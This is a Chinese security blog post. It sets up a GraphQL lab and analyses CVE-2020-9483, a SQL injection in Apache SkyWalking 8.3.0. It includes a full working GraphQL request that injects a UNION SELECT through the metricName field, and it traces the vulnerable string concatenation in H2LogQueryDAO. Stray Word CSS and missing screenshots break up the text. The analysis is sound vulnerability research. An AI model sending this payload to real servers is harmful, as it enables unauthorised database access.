漏洞分析 | Apache SkyWalking SQL注入漏洞分析

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

原创 杂七 杂七杂八聊安全 2024-12-30 03:36

朋友们,现在只对常读和星标的公众号才展示大图推送,建议大家把
杂七杂八聊安全
设为星标”,
否则可能就看不到了啦~

0x01 熟悉Graphql

0x01.1 Graphql环境搭建

通过springboot搭建graphql环境,pom
.xml内容如下:

其中
graphql-java-tools包是处理graphql请求,也就是提供graphql接口并处理相关请求,graphiql-spring-boot-starter提供web界面,访问h
ttp://ip:port/ graphiql就能查看界面:

Bean类:

服务类:

查询类:

schema.graphqls,这里面的内容就是和bean类对应:

root.graphqls,这里面的内容就是和查询类相关联:

添加启动类启动就完成了graphql的搭建:

启动后访问
http://127.0.0.1/graphiq,就能和graphql进行交互操作:

Graphql之所以会出现就是因为能够根据你想要的内容按需返回,比如下面这种只需要返回id和name,就可以这样,不像RESTful
 api只能返回全部,由前端选择返回的内容显示:

0x01.2 Graphql审计点

审计graphql接口问题其实就是审计查询类相关的接口函数,最终的web请求到达的是继承于
GraphQLQueryResolver的类,然后在这里有自定义的查询方法进入业务内容,本例中就是
AuthorQuery下的
findAuthorById方法,在该方法下打断点之后,在浏览器发包就会进入到该方法:

0x02 CVE-2020-9483漏洞分析

0x02.1 环境搭建

直接下载:

https://archive.apache.org/dist/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz

然后解压进入bin目录执行startup.sh:

访问http://127.0.0.1:8080/就能看到SkyWalking的界面:

如果需要远程调试则,在
/bin/oapService.sh中的
JAVA_OPTS里面添加调试参数后重启:

0x02.2 漏洞复现

@font-face{
font-family:"Times New Roman";
}
@font-face{
font-family:"宋体";
}
@font-face{
font-family:"等线";
}
@font-face{
font-family:"Menlo";
}
p.MsoNormal{
mso-style-name:正文;
mso-style-parent:"";
margin:0pt;
margin-bottom:.0001pt;
mso-pagination:none;
text-align:justify;
text-justify:inter-ideograph;
font-family:等线;
mso-bidi-font-family:'Times New Roman';
font-size:10.5000pt;
mso-font-kerning:1.0000pt;
}
span.msoIns{
mso-style-type:export-only;
mso-style-name:"";
text-decoration:underline;
text-underline:single;
color:blue;
}
span.msoDel{
mso-style-type:export-only;
mso-style-name:"";
text-decoration:line-through;
color:red;
}
@page{mso-page-border-surround-header:no;
    mso-page-border-surround-footer:no;}@page Section0{
}
div.Section0{page:Section0;}
POST /graphql HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json;charset=utf-8
Content-Length: 313
Connection: close
 
{
    "query":"query queryLogs($condition: LogQueryCondition) {
  queryLogs(condition: $condition) {
    total
    logs {
      serviceId
      serviceName
      isError
      content
    }
  }
}
",
    "variables":{
        "condition":{
            "metricName":"INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --",
                    "endpointId":"1",
                    "traceId":"1",
                    "state":"ALL",
                    "stateCode":"1",
            "paging":{
                "pageSize":10
            }
        }
    }
}

0x02.3 漏洞分析

这个请求所对应graphql
s文件是
query-graphql-plugin-8.3.0.jar 包中的l
og.graphqls文件:

与这个对应的接口方法在
query-graphql-plugin-8.3.0.jar中的
org.apache.skywalking.oap.query.graphql.resolver.LogQuery方法中:


queryLogs方法上下断点,发包就会进入该方法:

接下来会进入到

org.apache.skywalking.oap.server.core.query.LogQueryService#queryLogs

里面,这里会调用Dao层方法,也就是数据库方法:

这里的dao层方法是执行H
2db的SQL语句的方法:

org.apache.skywalking.oap.server.storage.plugin.jdbc.h2.dao.H2LogQueryDAO#queryLogs


H2LogQueryDAO中直接将
metricName拼接到SQL语句中就造成了SQL注入漏洞:

到达执行SQL语句的地方:

接下来就会执行输入的SQL语句达到SQL注入的效果:

END

往期经典回顾

JS断点调试教学

搜索框之%的妙用

子域接管漏洞讲解

HTTP头部注入漏洞

Tomcat路径解析特性

xxl-job的命令执行详解

Tomcat配置造成的漏洞

对某授权学校的常规渗透

契约锁命令执行漏洞分析

FindAll最强应急响应工具

Tomcat Put文件上传漏洞

一次另类的mssql渗透之路

DirtyPipe-脏管道内核提权

web站点登录框的常规突破

openfire权限绕过漏洞分析

若依4.7.6任意文件下载分析

 一次没有逗号的MSSQL注入

host碰撞之边界突破getshell

另类的SSRF漏洞的挖掘与利用

另类的XSS攻击之新型XSS载体

Nacos历史+最新漏洞详细分析

新型目录碰撞工具DirCollision

Windows文件/文件夹隐藏技巧

xray windows 1.9x版通杀补丁

FindAll史诗级最强应急响应工具

初学者的mimikatz免杀制作教程

低版本Tomcat如何另类getshell

Nginx配置不当导致内网资产暴漏

web登录框密码加密的突破小秘密

Windows快捷方式权限维持与后门

Tomcat的JMX服务引发的安全漏洞

金蝶Apusic未授权目录遍历漏洞分析

Nacos JRaft 任意文件读写利用工具

Apache ActiveMQ RCE漏洞利用工具

ServerStatusDiffInterceptor反序列化

Linux本地sudo(CVE-2021-3156)提权

spring-security 三种情况下的认证绕过

密码测评相关概念及国标和行标文档分享

中华人民共和国金融行标文档分享及介绍

中华人民共和国工控国标文档分享及介绍

xxl-job前台api未授权Hessian2反序列化

fastjson反序列化漏洞初探之parseObject

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!

点赞
是鼓励 
在看
是认同 
分享

传递知识

看完点个
“在看”
分享给更多人